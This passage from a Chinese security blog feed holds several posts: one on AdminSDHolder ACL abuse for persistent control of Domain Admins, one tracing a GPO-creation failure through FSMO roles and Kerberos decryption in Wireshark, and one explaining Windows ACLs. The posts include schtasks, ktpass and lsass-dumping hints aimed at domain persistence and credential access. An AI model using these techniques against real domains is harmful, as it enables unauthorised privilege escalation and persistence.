&lt;p&gt;biaojigaoliang1持有&lt;strong&gt;PDC FSMO角色的DC&lt;/strong&gt;biaojigaoliang2默认情况下每隔1小时会执行一次&lt;code&gt;SD Propagation&lt;/code&gt;任务，此任务的大致行为就是将所有受保护对象的ACL和AdminSDHolder的ACL进行对比，如果两者有差异，就是用AdminSDHolder的ACL覆盖掉受保护对象的ACL&lt;/p&gt;
&lt;p&gt;下图为AdminSDHolder默认的ACL：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1634883844700" src="https://s2.loli.net/2024/06/14/5Ijw8d1gnzXxfZl.png"&gt;&lt;/p&gt;
&lt;p&gt;Domain Admins组作为受保护的对象，其ACL应该和AdminSDHolder保持一致&lt;/p&gt;
&lt;p&gt;&lt;img alt="1634883970687" src="https://s2.loli.net/2024/06/14/Thejv69ixZ4A3qz.png"&gt;&lt;/p&gt;
&lt;p&gt;我们对AdminSDHolder的ACL稍微作一下修改以便更直观地理解AdminSDHolder的工作机制&lt;/p&gt;
&lt;p&gt;我们向AdminSDHolder的ACL中添加一个用户，并赋予它&lt;code&gt;特殊权限&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1634884131573" src="https://s2.loli.net/2024/06/14/zlCxHPUYcIJvONQ.png"&gt;&lt;/p&gt;
&lt;p&gt;等待PDC的下一次&lt;code&gt;SD Propagation&lt;/code&gt;任务完成之后，我们再观察一下&lt;code&gt;Domain Admins&lt;/code&gt;用户组的ACL是否发生了改变&lt;/p&gt;
&lt;p&gt;&lt;img alt="1634884281305" src="https://s2.loli.net/2024/06/14/PsiorAfahbFvW61.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，&lt;code&gt;sdtest&lt;/code&gt;用户此时已经拥有了对&lt;code&gt;Domain Admins&lt;/code&gt;的特殊权限&lt;/p&gt;
&lt;h1&gt;利用&lt;/h1&gt;
&lt;p&gt;通过上面的解释，我们可以通过修改&lt;code&gt;AdminSDHolder&lt;/code&gt;的ACL来达到控制&lt;code&gt;Domain Admins&lt;/code&gt;用户组的目的&lt;/p&gt;
&lt;p&gt;biaojigaoliang1上面我们只赋予了&lt;code&gt;sdtest&lt;/code&gt;用户&lt;code&gt;特殊权限&lt;/code&gt;，如果我们给该用户赋予&lt;code&gt;写入&lt;/code&gt;权限，那么等下一次&lt;code&gt;SD Propagation&lt;/code&gt;完成之后，&lt;code&gt;sdtest&lt;/code&gt;用户将拥有修改&lt;code&gt;Domain Admins&lt;/code&gt;组成员的权限biaojigaoliang2&lt;/p&gt;
&lt;p&gt;&lt;img alt="1634884662582" src="https://s2.loli.net/2024/06/14/HVrfFzv5wYesONQ.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1634884743532" src="https://s2.loli.net/2024/06/14/9m2Yi4w5QujIZOt.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1634884702145" src="https://s2.loli.net/2024/06/14/WYGTVhlsPSQu6jz.png"&gt;&lt;/p&gt;
&lt;p&gt;但是默认一个小时才进行&lt;code&gt;ACL&lt;/code&gt;的检查与覆盖，貌似有点太久了，有没有方法可以强制进行&lt;code&gt;SD Propagation&lt;/code&gt;呢？&lt;/p&gt;
&lt;p&gt;答案是肯定的&lt;/p&gt;
&lt;p&gt;根据微软的官方文档，使用LDAP（&lt;a href="https://cbtgeeks.com/2016/06/02/what-is-rootdse/"&gt;rootDSE&lt;/a&gt;，DN为空）连接到持有PDC FSMO角色的DC上，然后修改&lt;code&gt;runProtectAdminGroupsTask&lt;/code&gt;属性的值为1，即可触发&lt;code&gt;SD propagation&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="erftghj" src="https://s2.loli.net/2024/06/14/pnUGaAr8K5mqHXY.gif"&gt;&lt;/p&gt;
&lt;p&gt;对于Windows 2008 R2及以上的版本，使用上图所示方法即可&lt;/p&gt;
&lt;p&gt;根据文档，早于Windows 2008 R2的版本需要通过修改&lt;code&gt;fixupInheritance&lt;/code&gt;属性来触发&lt;code&gt;SD propagation&lt;/code&gt;，参考下图所示方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1634888737789" src="https://s2.loli.net/2024/06/14/U9OoFA5YIfQwCXt.png"&gt;&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;上面提到的操作都是基于GUI的，最后肯定要武器化为命令行工具，这一部分的实现不方便放出来，XDM自行摸索吧，也不难&lt;/p&gt;
&lt;p&gt;上面触发&lt;code&gt;SD Propagation&lt;/code&gt;的工具，可以在&lt;a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dfj%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81.7z"&gt;此处&lt;/a&gt;下载&lt;/p&gt;</content><category term="内网安全"></category></entry><entry><title>从创建GPO到FSMO再到Kerberos解密</title><link href="cong-chuang-jian-gpodao-fsmozai-dao-kerberosjie-mi.html" rel="alternate"></link><published>2021-09-30T00:00:00+02:00</published><updated>2021-09-30T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2021-09-30:cong-chuang-jian-gpodao-fsmozai-dao-kerberosjie-mi.html</id><summary type="html">&lt;p&gt;国庆快乐！！！&lt;/p&gt;
&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.normanbauer.com/2016/03/30/how-to-purge-kerberos-tickets-of-the-system-account/"&gt;How to purge Kerberos tickets of the system account | NORMAN BAUER&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gitlab.com/wireshark/wireshark/-/wikis/Kerberos"&gt;Kerberos · Wiki · Wireshark Foundation / wireshark · GitLab&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ktpass"&gt;ktpass | Microsoft Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/fsmo-roles"&gt;Active Directory Flexible Single Master Operation (FSMO) roles in Windows - Windows Server | Microsoft Docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;AD域内横向方式千千万，创建GPO算一个，但是这篇文 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;国庆快乐！！！&lt;/p&gt;
&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.normanbauer.com/2016/03/30/how-to-purge-kerberos-tickets-of-the-system-account/"&gt;How to purge Kerberos tickets of the system account | NORMAN BAUER&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gitlab.com/wireshark/wireshark/-/wikis/Kerberos"&gt;Kerberos · Wiki · Wireshark Foundation / wireshark · GitLab&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ktpass"&gt;ktpass | Microsoft Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/fsmo-roles"&gt;Active Directory Flexible Single Master Operation (FSMO) roles in Windows - Windows Server | Microsoft Docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;AD域内横向方式千千万，创建GPO算一个，但是这篇文章的主题并不是如何创建GPO，而是由创建GPO所引发的一系列问题&lt;/p&gt;
&lt;h1&gt;正文&lt;/h1&gt;
&lt;p&gt;在域内，我们用于横向的工具有很多，但是大部分工具在执行命令时的身份都是&lt;code&gt;NT Authority\System&lt;/code&gt;，比如impacket工具包中的&lt;code&gt;atexec.py&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在本文中，当使用atexec创建GPO时，会出现如下报错&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210930164936525" src="https://s2.loli.net/2024/06/14/jKZyz2vJS9Hubca.png"&gt;&lt;/p&gt;
&lt;p&gt;从报错来看，我们遇到了认证错误，biaojigaoliang1可是这条创建GPO的命令是使用&lt;code&gt;atexec.py&lt;/code&gt;在DC上使用域管的凭证运行的biaojigaoliang2，为什么还会出现认证错误呢？&lt;/p&gt;
&lt;p&gt;这时候就需要通过审计Windows的安全日志来排查错误了，我的测试环境是两台DC，在运行命令的这台DC上我并没有发现什么可疑的登录记录，但是在另一台DC的安全日志上，我发现了下面这条日志：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210930165503502" src="https://s2.loli.net/2024/06/14/TWe5upcqQ3glYfx.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;192.168.46.198&lt;/code&gt;是刚才执行创建GPO命令的那台DC的IP，biaojigaoliang1可以看到进行认证的用户是该DC的机器账户&lt;code&gt;WRSD$&lt;/code&gt;biaojigaoliang2&lt;/p&gt;
&lt;p&gt;那么问题是不是出在这里呢？&lt;/p&gt;
&lt;p&gt;biaojigaoliang1&lt;code&gt;System&lt;/code&gt;账户在本地的权限固然无限大，它可以读写任意的对象，但是当访问网络资源时，它只是域内的一个机器账户biaojigaoliang2&lt;/p&gt;
&lt;p&gt;那么为什么在当前DC上创建GPO需要去访问另一台DC呢？&lt;/p&gt;
&lt;h1&gt;FSMO&lt;/h1&gt;
&lt;p&gt;所谓FSMO即&lt;code&gt;Flexible Single Master Operations&lt;/code&gt;，灵活单主机操作模式&lt;/p&gt;
&lt;p&gt;我们都知道，Windows AD是一个多主机环境，大的企业内网中可能同时存在数十台DC，每个DC都持有一个数据库，那么肯定就牵涉到同步问题，既然有同步那么就肯定会有冲突发生，某些对象的更新冲突可以通过算法来解决，但是有一些特定的对象的更新应该极力避免冲突的产生，GPO对象就是其中一种&lt;/p&gt;
&lt;p&gt;biaojigaoliang1这种对象只能够在众多DC中的一台上进行更新，其他DC只能够从该DC同步更新，而不能独自处理该对象的更新biaojigaoliang2&lt;/p&gt;
&lt;p&gt;这个就叫做单主机操作模式，它的存在就是为了规避冲突的产生，FSMO角色一共有五种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Schema master FSMO&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Domain naming master FSMO&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RID master FSMO&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PDC&lt;/strong&gt;模拟器&lt;strong&gt;FSMO&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;infrastructure master FSMO&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;每种角色的具体功能XDM自行百度，不再赘述&lt;/p&gt;
&lt;p&gt;biaojigaoliang1我们关心的只有&lt;code&gt;PDC模拟器FSMO&lt;/code&gt;角色，因为只有持有该角色的DC才能够对GPO进行更新，其他的DC要想对GPO进行更新必须要向该DC发起请求biaojigaoliang2&lt;/p&gt;
&lt;p&gt;这也是上面我们执行命令的DC为什么会向另一台DC发起登录请求的原因&lt;/p&gt;
&lt;p&gt;可以使用&lt;code&gt;netdom query fsmo&lt;/code&gt;命令查询域内的所有FSMO角色&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210930171225204" src="https://s2.loli.net/2024/06/14/nrh2bPfqt4NeRJY.png"&gt;&lt;/p&gt;
&lt;h1&gt;数据包分析&lt;/h1&gt;
&lt;p&gt;只凭一条日志我们并不能很明确地锁定问题根源，下面我们通过万能的Wireshark来分析一下网络数据包&lt;/p&gt;
&lt;p&gt;通过创建计划任务来将用户身份提升为&lt;code&gt;System&lt;/code&gt;账户&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;schtasks&lt;span class="w"&gt; &lt;/span&gt;/create&lt;span class="w"&gt; &lt;/span&gt;/tn&lt;span class="w"&gt; &lt;/span&gt;gpo_create&lt;span class="w"&gt; &lt;/span&gt;/tr&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;C:\1.bat&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/sc&lt;span class="w"&gt; &lt;/span&gt;monthly&lt;span class="w"&gt; &lt;/span&gt;/d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/ru&lt;span class="w"&gt; &lt;/span&gt;System

schtasks&lt;span class="w"&gt; &lt;/span&gt;/run&lt;span class="w"&gt; &lt;/span&gt;/tn&lt;span class="w"&gt; &lt;/span&gt;gpo_create&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;运行该计划任务后即可在Wireshark中看到数据包&lt;/p&gt;
&lt;p&gt;&lt;img alt="1632993661448" src="https://s2.loli.net/2024/06/14/U5gJ4HjqwSrBQWT.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，并没有获取Kerberos票据的数据包，而是直接使用ldap票据请求了PDC的LDAP服务，并且认证成功了（下面的响应包返回了success）&lt;/p&gt;
&lt;p&gt;是不是很郁闷？它哪来的票据？&lt;/p&gt;
&lt;p&gt;即使你执行一百遍&lt;code&gt;klist purge&lt;/code&gt;来清除本地缓存的票据，你还是抓不到Kerberos数据包&lt;/p&gt;
&lt;p&gt;biaojigaoliang1其实原因很简单，&lt;code&gt;klist purge&lt;/code&gt;清除的是当前用户的票据，而你需要清除的是计算机账户的票据biaojigaoliang2&lt;/p&gt;
&lt;p&gt;你需要的是下面这条命令&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;klist -li 0x3e7 purge
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1632994031257" src="https://s2.loli.net/2024/06/14/EchjgGX45xkvdwM.png"&gt;&lt;/p&gt;
&lt;p&gt;此时再重新抓包&lt;/p&gt;
&lt;p&gt;&lt;img alt="1632994098516" src="https://s2.loli.net/2024/06/14/4FOZzeHrPhIdcNt.png"&gt;&lt;/p&gt;
&lt;p&gt;由于计算机账户的本地票据缓存被清除，再次创建GPO时便会重新向KDC申请票据&lt;/p&gt;
&lt;h2&gt;Kerberos keytab&lt;/h2&gt;
&lt;p&gt;此时我们引入keytab文件对Kerberos数据包进行解密&lt;/p&gt;
&lt;p&gt;&lt;code&gt;keytab&lt;/code&gt;即&lt;code&gt;key table&lt;/code&gt;（秘钥表）&lt;/p&gt;
&lt;p&gt;众所周知，Kerberos协议的第一个包通常为&lt;code&gt;AS-REQ&lt;/code&gt;，这个数据包向KDC证明自己的身份，KDC认证通过后，会通过&lt;code&gt;AS-REP&lt;/code&gt;数据包返回&lt;code&gt;session key&lt;/code&gt;和&lt;code&gt;tgt ticket&lt;/code&gt;，该数据包使用由用户密码生成的key进行加密&lt;/p&gt;
&lt;p&gt;而keytab文件中就包含这一个key，有了这个key，Wireshark就可以解密&lt;code&gt;AS-REP&lt;/code&gt;数据包中的&lt;code&gt;session key&lt;/code&gt;，有了&lt;code&gt;session key&lt;/code&gt;便可以对后续的&lt;code&gt;TGS-REQ&lt;/code&gt;、&lt;code&gt;AP-REQ&lt;/code&gt;数据包中的&lt;code&gt;authenticator&lt;/code&gt;字段进行解密，这里对&lt;code&gt;AP-REQ&lt;/code&gt;的解密还牵涉到另一个&lt;code&gt;session key&lt;/code&gt;，具体细节XDM可以通过&lt;a href="https://www.eventhelix.com/networking/kerberos/kerberos-sequence-diagram.pdf"&gt;流程图&lt;/a&gt;自行分析&lt;/p&gt;
&lt;p&gt;生成keytab的方法如下：&lt;/p&gt;
&lt;p&gt;使用DC自带的&lt;code&gt;ktpass.exe&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用户账户&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ktpass&lt;span class="w"&gt; &lt;/span&gt;-out&lt;span class="w"&gt; &lt;/span&gt;Administrator.keytab&lt;span class="w"&gt; &lt;/span&gt;-princ&lt;span class="w"&gt; &lt;/span&gt;Administrator@MOTHER.FUCKER&lt;span class="w"&gt; &lt;/span&gt;-mapUser&lt;span class="w"&gt; &lt;/span&gt;Administrator@MOTHER.FUCKER&lt;span class="w"&gt; &lt;/span&gt;-pass&lt;span class="w"&gt; &lt;/span&gt;qwe123...&lt;span class="w"&gt; &lt;/span&gt;-crypto&lt;span class="w"&gt; &lt;/span&gt;all&lt;span class="w"&gt; &lt;/span&gt;-ptype&lt;span class="w"&gt; &lt;/span&gt;KRB5_NT_PRINCIPAL
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;计算机账户&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ktpass&lt;span class="w"&gt; &lt;/span&gt;-out&lt;span class="w"&gt; &lt;/span&gt;WIN-55D8GK824HO$.keytab&lt;span class="w"&gt; &lt;/span&gt;-princ&lt;span class="w"&gt; &lt;/span&gt;WIN-55D8GK824HO&lt;span class="nv"&gt;$@&lt;/span&gt;MOTHER.FUCKER&lt;span class="w"&gt; &lt;/span&gt;-mapUser&lt;span class="w"&gt; &lt;/span&gt;WIN-5D8GK824HO&lt;span class="nv"&gt;$@&lt;/span&gt;mother.fucker&lt;span class="w"&gt; &lt;/span&gt;-pass&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;*&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-crypto&lt;span class="w"&gt; &lt;/span&gt;all&lt;span class="w"&gt; &lt;/span&gt;-ptype&lt;span class="w"&gt; &lt;/span&gt;KRB5_NT_PRINCIPAL&lt;span class="w"&gt; &lt;/span&gt;setpass
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;计算机账户的密码可以通过dump lsass来获取到&lt;/p&gt;
&lt;p&gt;最后加了一个setpass选项，不然会导致计算机账户重置，进而引起对应计算机与DC之间的NetLogon安全通道建立失败（计算机账户hash不一致），最后会由于信任关系建立失败而导致无法登录到该计算机&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capture" src="https://s2.loli.net/2024/06/14/RlykcPDH5SmVO7U.png"&gt;&lt;/p&gt;
&lt;p&gt;将生成好的keytab文件加载到wireshark进行解密，即可看到所有加密数据的内容&lt;/p&gt;
&lt;p&gt;&lt;img alt="1632994971879" src="https://s2.loli.net/2024/06/14/Rt1uoD4eJh7FSiT.png"&gt;&lt;/p&gt;
&lt;p&gt;在解密后的&lt;code&gt;authencator&lt;/code&gt;字段中可以看到账户名为计算机账户&lt;/p&gt;
&lt;p&gt;&lt;img alt="1632995123288" src="https://s2.loli.net/2024/06/14/9pWemxidaITcZsg.png"&gt;&lt;/p&gt;
&lt;p&gt;在解密后的数据包中，我们可以看到计算机账户尝试创建GPO的整个过程（LDAP），最后由于权限不足创建失败&lt;/p&gt;
&lt;p&gt;&lt;img alt="1632995224930" src="https://s2.loli.net/2024/06/14/963gonA4WbRFuJI.png"&gt;&lt;/p&gt;</content><category term="内网安全"></category></entry><entry><title>windows ACL、DACL、SACL、ACE</title><link href="windows-acl-dacl-sacl-ace.html" rel="alternate"></link><published>2021-01-07T00:00:00+01:00</published><updated>2021-01-07T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2021-01-07:windows-acl-dacl-sacl-ace.html</id><summary type="html">&lt;p&gt;参考文章：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://secureidentity.se/acl-dacl-sacl-and-the-ace/"&gt;https://secureidentity.se/acl-dacl-sacl-and-the-ace/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其实windows ACL、DACL、SACL、ACE的关系很好解释&lt;/p&gt;
&lt;p&gt;ACL分为两种，DACL和SACL，而DACL和SACL又由一个个的ACE构成&lt;/p&gt;
&lt;p&gt;DACL主要用于设置用户以及用户组对安全对象的访问权限&lt;/p&gt;
&lt;p&gt;SACL用于配置对安全对象的访问的审计（生成日志）&lt;/p&gt;
&lt;p&gt;下面我们详细介绍&lt;/p&gt;
&lt;p&gt;本文章会描述ACL是啥，以及其所有的组件以及 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;参考文章：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://secureidentity.se/acl-dacl-sacl-and-the-ace/"&gt;https://secureidentity.se/acl-dacl-sacl-and-the-ace/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其实windows ACL、DACL、SACL、ACE的关系很好解释&lt;/p&gt;
&lt;p&gt;ACL分为两种，DACL和SACL，而DACL和SACL又由一个个的ACE构成&lt;/p&gt;
&lt;p&gt;DACL主要用于设置用户以及用户组对安全对象的访问权限&lt;/p&gt;
&lt;p&gt;SACL用于配置对安全对象的访问的审计（生成日志）&lt;/p&gt;
&lt;p&gt;下面我们详细介绍&lt;/p&gt;
&lt;p&gt;本文章会描述ACL是啥，以及其所有的组件以及他们是如何使用的&lt;/p&gt;
&lt;p&gt;在windows中，你可以委派访问到不同的安全对象中，&lt;/p&gt;
&lt;p&gt;安全对象拥有一个安全描述符（SD）&lt;/p&gt;
&lt;p&gt;SD用于控制该对象的访问，它包含了对象所有者的信息，以及什么需要被审计和通过什么样的方式进行权限的允许&lt;/p&gt;
&lt;p&gt;它包含了真正的用于设置安全权限的ACL，在AD中，所有的对象都具有DS&lt;/p&gt;
&lt;p&gt;常见的安全对象如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NTFS文件系统中的文件和文件夹&lt;/li&gt;
&lt;li&gt;互动目录对象&lt;/li&gt;
&lt;li&gt;注册表中的键&lt;/li&gt;
&lt;li&gt;网络共享&lt;/li&gt;
&lt;li&gt;本地或者远程打印机&lt;/li&gt;
&lt;li&gt;windows 服务&lt;/li&gt;
&lt;li&gt;命名管道&lt;/li&gt;
&lt;li&gt;匿名管道&lt;/li&gt;
&lt;li&gt;进程&lt;/li&gt;
&lt;li&gt;线程&lt;/li&gt;
&lt;li&gt;文件映射对象&lt;/li&gt;
&lt;li&gt;访问令牌&lt;/li&gt;
&lt;li&gt;windows管理对象（windows工作站或者桌面）&lt;/li&gt;
&lt;li&gt;进程间同步对象（事件、互斥对象、信号量、可等待定时器）&lt;/li&gt;
&lt;li&gt;Job对象&lt;/li&gt;
&lt;li&gt;分布式组件对象模型对象&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;现在我们知道了我们要保护的究竟都是些什东西之后，我来带大家彻底了解一下ACL以及其组件是如何在文件系统和AD中工作的&lt;/p&gt;
&lt;h1&gt;ACL  ——access control list&lt;/h1&gt;
&lt;p&gt;ACL是一堆ACE的有序列表，他定义了应用到一个对象和对象属性的保护&lt;/p&gt;
&lt;p&gt;每一个ACE标识一个安全实体，并指定了访问权限的集合，访问权限包括allowed、denied、audited&lt;/p&gt;
&lt;p&gt;一个对象的SD一般包含两个ACL&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DACL 标志用户和用户组的allowed或者denied权限&lt;/li&gt;
&lt;li&gt;SACL 控制访问如何进行audited&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当一个用户试图访问一个文件时，window系统会运行一个AccessCheck并对用户的access token和该文件的SD进行对比，然后评估该用户是否拥有相应的权限，拥有什么样的权限取决于ACE集合&lt;/p&gt;
&lt;h1&gt;DACL——Discretionary Access Control List&lt;/h1&gt;
&lt;p&gt;自主访问控制列表&lt;/p&gt;
&lt;p&gt;DACL标志了用户和用户组所赋予的针对某个对象的权限&lt;/p&gt;
&lt;p&gt;它包含了一个ACE对列表（Account + AccessRight）&lt;/p&gt;
&lt;p&gt;大概类似于这种形式&lt;/p&gt;
&lt;p&gt;&lt;img alt="1610014139219" src="https://s2.loli.net/2024/06/14/2OJkzf6WiY5DRvg.png"&gt;&lt;/p&gt;
&lt;h1&gt;SACL——System Access Control List&lt;/h1&gt;
&lt;p&gt;SACL使得监控对安全对象的访问变得可能&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SACL中的ACE决定了决定了什么类型的访问会被记录到安全日志中&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;配合监控工具，如果有恶意用户试图访问安全对象，可以对管理员发起警报&lt;/p&gt;
&lt;p&gt;这个在AD中将会很有用，恶意用户可能会在不经意中触发警报，以便管理员及时发现风险&lt;/p&gt;
&lt;p&gt;另外，除了用在预防攻击上面，也可以作为一种防范意外情况的手段，如果发生了误操作，可以根据日志记录，来进行还原，&lt;/p&gt;
&lt;p&gt;可以通过该日志用来进行access issues的trobleshoot&lt;/p&gt;
&lt;h1&gt;ACE——Access Control Entries&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;ACE是最终描述安全实体对安全对象的访问权限的东西&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;DACL和SACL会包含很多ACE&lt;/p&gt;
&lt;p&gt;ACE包含如下访问控制信息： &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用于标志用户或者用户组的SID&lt;/li&gt;
&lt;li&gt;用于指定访问权限的access mask&lt;/li&gt;
&lt;li&gt;一系列比特位（bit flag)，这些比特位用于决定子对象是否集成父对象的ACE&lt;/li&gt;
&lt;li&gt;一个标明ACE类型的flag&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一共有两种ACE集合&lt;/p&gt;
&lt;h2&gt;Generic ACE&lt;/h2&gt;
&lt;p&gt;拥有以下几种类型&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;显式allow ACE&lt;/li&gt;
&lt;li&gt;显式deny ACE&lt;/li&gt;
&lt;li&gt;generic deny ACE&lt;/li&gt;
&lt;li&gt;generic allow ACE&lt;/li&gt;
&lt;li&gt;inherited deny ACE&lt;/li&gt;
&lt;li&gt;inherited allow ACE&lt;/li&gt;
&lt;li&gt;Audit allow和deny ACE&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Deny ACE的优先级总是高于Allow ACE&lt;/p&gt;
&lt;p&gt;inherited deny ACE也是这样&lt;/p&gt;
&lt;p&gt;但是如果你对子对象设置了一个explicit allow ACE（显式Allow ACE），那么子对象继承成来的ACE就不再起作用了，你设置的显式Allow ACE拥有更高的优先级&lt;/p&gt;
&lt;p&gt;EXplicit Deny也拥有较高的优先级（相对于allow）&lt;/p&gt;
&lt;p&gt;在windows系统中，对文件或者文件夹的访问权限是在NTFS文件系统中进行设置的&lt;/p&gt;
&lt;p&gt;当一个用户尝试去访问一个文件或者文件夹的时候，该用户的access token就会和该文件的DACL进行对比，如果访问列表中的SID列表中没有任何一条和ACE中匹配，那么这个用户机会被explicit denied acces&lt;/p&gt;
&lt;p&gt;如果有任何一条匹配的，就会按照如下规则就行权限的判定&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Explicit deny&lt;/li&gt;
&lt;li&gt;Explicit allow&lt;/li&gt;
&lt;li&gt;Inherited deny&lt;/li&gt;
&lt;li&gt;Inherited allow&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Object-Specific ACE——特定对象的ACE&lt;/h2&gt;
&lt;p&gt;在AD中，有一种额外的ACE集合，叫做object-specific ACE&lt;/p&gt;
&lt;p&gt;这两种ACE有着相同的特性，不同的是，object-specific能够提供更高级别的安全性（粒度）&lt;/p&gt;
&lt;p&gt;object-specific ACE拥有以下几种类型&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;object-specific deny ACE&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;‒拒绝访问Active Directory对象上的属性&lt;/p&gt;
&lt;p&gt;‒拒绝访问Active Directory对象上的属性集&lt;/p&gt;
&lt;p&gt;‒基于子对象的SID将ACE继承限制为指定类型的子对象&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;object-specific allow ACE&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;同上，拒绝改为允许&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;object-specific System-Audit ACE&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;‒ 对属性和属性集的访问进行记录，或者限制对特定类型子对象的继承&lt;/p&gt;
&lt;p&gt;LSA评估ACL列表中的ACE的顺序为Explicit Deny、Explicit Allow、继承Deny、继承Allow&lt;/p&gt;
&lt;p&gt;当一个用户试图访问AD中的一个对象时，LSA会获取用户的access token，安全子系统会拿用户的SID、所属用户组SID和访问对象的DACL中的ACE来判断权限是deny还是granted&lt;/p&gt;
&lt;p&gt;找不到匹配的SID，则用户对该对象的访问会被拒绝&lt;/p&gt;
&lt;p&gt;如果用户对AD中的对象有访问和更改权限，那么对该对象的更改会被审计，并会在安全日志中留下记录&lt;/p&gt;
&lt;h1&gt;可视化&lt;/h1&gt;
&lt;p&gt;为了可视化上面提到的所有东西，我会展示几张图片&lt;/p&gt;
&lt;p&gt;我们以文件系统为例&lt;/p&gt;
&lt;p&gt;下面是ACL、DACL和ACE在文件夹的安全选项卡中的典型形式：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1610013978417" src="https://s2.loli.net/2024/06/14/ByhfeHVQcdw7qUG.png"&gt;&lt;/p&gt;
